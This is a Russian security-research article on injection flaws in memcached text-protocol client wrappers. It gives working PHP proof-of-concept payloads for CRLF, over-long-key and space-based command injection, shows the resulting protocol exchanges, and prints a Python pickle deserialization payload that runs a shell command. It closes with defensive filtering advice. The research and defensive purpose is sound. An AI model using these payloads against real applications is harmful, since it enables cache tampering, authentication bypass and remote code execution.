Содержание статьи
- Что такое memcached?
- Постановка задачи
- Текстовый протокол memcached
- Пакетная инъекция (внедрение команды) — байты 0x0a/0x0d
- Нарушение контекста парсера (интерпретация данных для хранения в качестве команды)
- Внедрение аргумента — байт 0x20
- Нарушение длины данных (нуль-байт)
- Случаи манипуляции объектами
- PHP
- Python
- Рассмотренные платформы и результаты
- Рекомендации
- Выводы
warning
Вся информация предоставлена исключительно в ознакомительных целях. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности.
Что такое memcached?
Но для начала небольшая вводная часть. Итак, memcached — это свободная и открытая высокопроизводительная распределенная система кеширования объектов в памяти. Она представляет собой хранилище типа «ключ — значение», расположенное в оперативной памяти и предназначенное для небольших «порций» произвольных данных (строковых, числовых, нередко сериализованных объектов в виде строковых значений), таких как результаты запросов к БД, результаты API-вызовов или генерации страниц. Плюс memcached является полностью открытой разработкой, собирается и работает на UNIX, Windows и OS X и распространяется под открытой лицензией. Ее используют многие популярные веб‑проекты, например LiveJournal, Twitter, Flickr, YouTube, Wikipedia и другие. Она представляет собой обычный сетевой сервис c host-base аутентификацией, работающий на loopback-интерфейсе на 11211-м порту. Демон memcached поддерживает UDP- и TCP-сокеты и предоставляет два различных протокола для взаимодействия с собой: текстовый и бинарный. Вот, пожалуй, все, что нам пока требуется знать о пациенте.
Постановка задачи
Итак, сегодня мы посвятим время рассмотрению оберток к memcache для различных платформ и попытаемся проверить их на наличие ошибок при валидации входных данных на уровне протокола. Рассматривать мы будем только обертки, поддерживающие текстовый протокол memcached, те же, что работают с бинарным, мы оставим за рамками статьи как материал для будущих исследований. Забегая немного вперед, скажу, что в качестве подопытных кроликов я использовал обертки для следующих популярных платформ разработки веб‑приложений: Go, Java, Lua, PHP, Python, Ruby, .NET. Цель была постараться найти что‑то подобное классическим инъекциям (SQL, LDAP-инъекциям) во врапперах для текстового протокола. Что из этого получилось — читай дальше.
Текстовый протокол memcached
Но для начала познакомимся поближе с текстовым протоколом memcached. В основном он включает последовательности команд и данных, заканчивающихся двумя байтами перевода строки (CRLF). Однако немного фаззинга и простого анализа исходного кода демона приоткрывают несколько иной формат протокола:
<command>0x20<argument>(LF|CRLF)<data>CRLF
Нуль‑байт (0х00
) завершает любую команду текстового протокола, например:
<command>0x20<argument><NULL>any postfix data(LF|CRLF)
В жизни чаще всего встречаются случаи, когда приложение дает пользователю управлять именами ключей и их значениями (например, устанавливать их или считывать). Поэтому мы в первую очередь сфокусируемся на них.
В именах ключей нет запрещенных символов (кроме, конечно, управляющих символов 0x00
, 0x20
и 0x0a
), но есть ограничение на максимальную длину имени ключа, которая составляет 250 байт.
Однако есть тонкий момент, скрывающийся в самом протоколе: если демон определяет первую команду как команду хранения, то данные после LF
(CRLF
) будут интерпретированы как данные для хранения. В других случаях данные после LF
(CRLF
) будут интерпретированы как следующая команда. Таким образом, демон, получая последовательности строк, сам выбирает в зависимости от контекста, какие из них являются командами, а какие данными.
Все команды memcache можно условно разделить на следующие классы:
- хранения (
set
,add
,replace
,append
,prepend
,cas
); - чтения (
get
,gets
); - удаления (
delete
); - инкремента/декремента (
incr
,decr
); -
touch
; -
slabs
;reassign -
slabs
;automove -
lru_crawler
; - статистики (
stats
,items slabs
,cachedump
); - прочие (
version
,flush_all
,quit
).
В своем исследовании я старался рассмотреть все эти типы, но мы сегодня концентрируемся в основном только на тех из них, которые наиболее часто используются в реальных веб‑приложениях. Это типы хранения и чтения данных.
Пакетная инъекция (внедрение команды) — байты 0x0a/0x0d
Начнем с рассмотрения самого простого вектора атаки — внедрения CRLF
в аргумент команды. Например, в качестве имени ключа для команды set
. Пример уязвимого кода представлен ниже. Для удобства вектор атаки помещен в строковую константу. В реальных приложениях уязвимая конструкция будет выглядеть похоже на $m->
<?php
$m = new Memcached(); $m->addServer('localhost', 11211); $m->set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30);?>
В данном примере новая команда set
помещается в имя ключа. Обрати внимание, что первым делом необходимо правильно завершить контекст, для этого мы передаем длину, равную 1, в первой строке, затем отправляем данные размером 1 байт (число 1 после переносов строк) и уже после этого можем начинать новый контекст с инжектированной командой set
.
Обмен данными между клиентом и сервером в этом случае будет выглядеть так:
> set key 0 0 1
> 1
< STORED
> set injected 0 3600 10
> 1234567890
< STORED
> 0 30 10
< ERROR
> 1234567890
< ERROR
Отметим, что это именно логический обмен командами по протоколу memcached, а не дамп сетевого обмена трафиком. Несложно поправить вектор атаки так, чтобы не вызвать ошибки на стороне сервера. В дампе все команды от клиента придут в одном пакете в силу фрагментации, однако это нисколько не нарушит саму инъекцию.
Нарушение контекста парсера (интерпретация данных для хранения в качестве команды)
Это самый изящный вектор атаки из всех обнаруженных. Текстовый протокол обрабатывает запрос построчно. Причем, когда текущая строка содержит команду записи значений, например set
, следующая строка воспринимается как данные. Это особенность plaintext-протокола называется контекстом обработки.
Но если текущая строка порождает ошибку (например, «некорректное значение ключа»), следующая строка уже будет воспринята как команда, а не как данные. Что дает атакующему возможность совершить инъекцию команды через область данных.
Область данных, в отличие от имен ключей, не подлежит никакой фильтрации согласно протоколу, поэтому, в частности, может содержать сколько угодно управляющих символов, таких как переносы строк. При чтении области данных демон основывается на размере данных, передаваемом в аргументе команды записи, такой как set
.
Есть несколько различных способов нарушить состояние парсера, преднамеренно вызвав ошибку в команде хранения, передав ей:
- имя ключа длиннее 250 байт;
- неверное число аргументов (зависит от команды, но очевидно, что
a
нарушает работу всех из них).a a a a a
Пример уязвимого кода представлен ниже:
<?php
$m = new Memcached(); $m->addServer('localhost', 11211); $m->set(str_repeat(“a”,251),"set injected 0 3600 10\r\n1234567890",30);?>
В данном примере нарушается синтаксис протокола, так как длина ключа больше 250 байт, при получении такой команды set
сервер выдаст ошибку. Контекст обработчика команд перейдет снова в режим приема команды, а клиент отправит данные, которые будут интерпретированы как команда. В результате мы снова запишем ключ injected
со значением 1234567890
.
Аналогичный результат можно получить, отправив символы пробела в имени ключа так, чтобы количество аргументов команды set
превысило допустимый предел. Например, передав в качестве имени ключа 1
.
Обмен данными между клиентом и сервером в этом случае будет выглядеть так:
> set 1 2 3 0 30 36
< ERROR
> set injected 0 3600 10
> 1234567890
< STORED
Дамп сетевого трафика при такой атаке представлен на рисунке.
Внедрение аргумента — байт 0x20
Для начала взглянем на синтаксис команд хранения:
<command name> <key> <flags> <exptime> <bytes> [noreply]\r\ncas <key> <flags> <exptime> <bytes> <cas unique> [noreply]\r\n
Последний опциональный аргумент открывает возможность для инъекции. Все протестированные драйверы memcached не устанавливают аргумент noreply
для команд хранения. Поэтому злоумышленник может внедрить пробелы (байты 0х20
), чтобы сдвинуть аргумент exptime
на место bytes
, что позволяет внедрить новую команду в поле данных пакета (заметим, что поле данных пакета не экранируется, проверяется лишь его длина).
Так выглядит нормальный пакет (сохраняет ключ на 30 с, содержит 10 байт данных, аргумент noreply
пуст):
set key1 0 30 10
1234567890
А вот пример с внедренным пробелом (теперь ключ сохраняется на 0 с, пакет содержит 30 байт данных, 52 — действительная длина данных, вычисляемая драйвером):
set key1 0 0 30 52
123456789012345678901234567890\r\nget injectionhere111
Код, демонстрирующий данную атаку, представлен ниже:
<?php
$m = new Memcached(); $m->addServer('localhost', 11211); // normal
$m->set("key1","1234567890",30); // injection here, without CRLF at key
$m->set("key 0","123456789012345678901234567890\r\nset injected 0 3600 3\r\nINJ",30);?>
В данном примере пробел в имени ключа делает значение 0
новым аргументом команды set
, а аргументы, дописываемые самим драйвером, тем самым смещаются на одну позицию. В результате значение 30
, передаваемое драйвером как время жизни ключа, воспринимается как длина области данных. Некорректное определение длины области данных, в свою очередь, дает нам возможность поместить туда вектор атаки (данные никогда не фильтруются). Обмен данными между клиентом и сервером в этом случае будет выглядеть так:
> set key 0 0 30 60
> 123456789012345678901234567890
< STORED
> set injected 0 3600 3
> INJ
< STORED
Дамп сетевого трафика при такой атаке можно посмотреть на рисунке.
Нарушение длины данных (нуль-байт)
Это скорее концептуальная атака, которая не была найдена в исследуемых обертках. Однако она может быть обнаружена в различных библиотеках memcached. По существу, мы предполагаем, что нуль‑байт в поле данных может нарушить вычисление длины данных, выполняемое на уровне драйвера (обертки). Пример (вычисленная длина данных не соответствует реальной длине — после нуль‑байта):
set a 0 3600 10
123456789\0\r\nset injected 0 3600 3\r\nINJ\r\n
Случаи манипуляции объектами
Memcached в основном используется для хранения сериализованных значений. Поэтому в случае инъекции он подвержен такому недостатку, как CWE-502 «Десериализация ненадежных данных». Злоумышленник может внедрить произвольные сериализованные данные в значение ключа и ожидать десериализации после прочтения их целевым приложением.
Эффект от данной операции зависит не только от кода приложения, но и от реализации механизма десериализации в среде исполнения в целом. Так, в случае Java и PHP уязвимость реализуется только при небезопасных магических методах классов, а для Python, напротив, сразу же дает возможность исполнить произвольные команды ОС без каких‑то дополнительных условий.
PHP
Надо отметить, что операция get(
в memcache является эквивалентом unserialize(
в PHP. Таким образом, инъекция в memcached для PHP эквивалентна выражению unserialize(
. Эксплуатация таких уязвимостей в последнее время активно исследовалась. Для демонстрации десериализации рассмотрим пример:
<?php
class a { function __wakeUp(){ echo "\n deserialized! \n"; } } $m = new Memcached(); $m->addServer('localhost', 11211); $m->set("asd", new a()); $m->get("asd");?>
В данном случае после вызова get(
драйвер сам разберется, что возвращаемая строка является сериализованными данными и десериализует их в объект. Это и приведет к вызову магического метода деструктора, который в данном примере напечатает сообщение в консоль.
Python
Теперь очередь питона. Посмотри на значение rcedata
, сохраненное в memcached:
get rcedata
VALUE rcedata 1 47
?csubprocess
Popen
qU
/usr/bin/idq?q?qRq.
END
Это классический Pickle RCE эксплойт десериализации. Данный код выполняет его:
import pylibmc
mc = pylibmc.Client(["127.0.0.1"])b = mc.get("rcedata")
В данном примере данные при десериализации восстанавливают состояние посредством функции, встроенной в сами эти данные. Такая функция содержит код выполнения команды id
в шелле.
Рассмотренные платформы и результаты
В процессе исследования мне пришлось проверить многие обертки memcached для популярных платформ веб‑разработки, чтобы выявить в них наличие уязвимостей к рассмотренным выше атакам. Все полученные результаты я систематизировал, и в итоге у меня получилась следующая таблица. В ней красным цветом выделены врапперы, в которых наличие уязвимости было подтверждено. А дополнительная информация по ошибкам проверки пользовательского ввода помещена в ячейки в виде перечисления нефильтруемых байт. Как видишь, получилось довольно много красного цвета :).
Стало интересно, какие же из популярных веб‑приложений будут под угрозой из‑за того, что используют врапперы, содержащие уязвимость. Поэтому я пробежался по наиболее используемым приложениям и составил следующую таблицу. В ней опять же выделены те участки исходного кода популярных веб‑приложений, которые используют уязвимые реализации драйверов memcached. Если покопать еще немного, то, я думаю, этот список можно значительно расширить. Но это ты можешь сделать сам на досуге.
Рекомендации
Хорошим вариантом защиты от такого рода инъекций будет использование бинарного протокола клиент‑серверного взаимодействия. Такой подход исключает возможность внедрения команд протокола в области данных или имен ключей, так как сопровождается обязательным указанием длины значений в пакете.
Ключевой же особенностью plaintext-протокола является использование делимитеров, отсутствие проверки которых в данных имен ключей и их значениях и приводит к инъекциям. Для реализации фильтрации данных следует использовать следующие правила:
- длина — 250 байт;
- фильтрация
0x00
,0x0a
,0x09
,0x0d
,0x20
байт.
Пример хорошего экранирования на уровне драйвера (враппера) можно посмотреть по ссылке. Я лишь приведу небольшой кусок кода:
if (keyBytes.length > MemcachedClientIF.MAX_KEY_LENGTH) { throw new IllegalArgumentException("Key is too long (maxlen = " + MemcachedClientIF.MAX_KEY_LENGTH + ")");}...
for (byte b : keyBytes) { if (b == ' ' || b == '\n' || b == '\r' || b == 0) {
Выводы
Пришло время делать выводы. Как видишь, исследование драйверов для работы с популярным хранилищем данных memcached показало их уязвимость. Уязвимости в целом носят характер ошибок фильтрации входных параметров. Практическая часть эксплуатации позволяет не только внедрять команды в протокол обмена между сервером и клиентом, тем самым выполняя все доступные операции в рамках протокола (чтение/запись/удаление ключей и прочие), но и задевает другие функции драйвера, такие как десериализация объектов. Как было показано, в ряде случаев небезопасная десериализация данных из хранилища позволяет выполнять произвольный код на системе.
Так что теперь можно смело сказать, что на memcached базы данных также возможно провести атаки сродни SQL-инъекции. И подобные атаки на практике будут приводить к различным результатам: от обхода аутентификации до выполнения произвольного кода интерпретатора.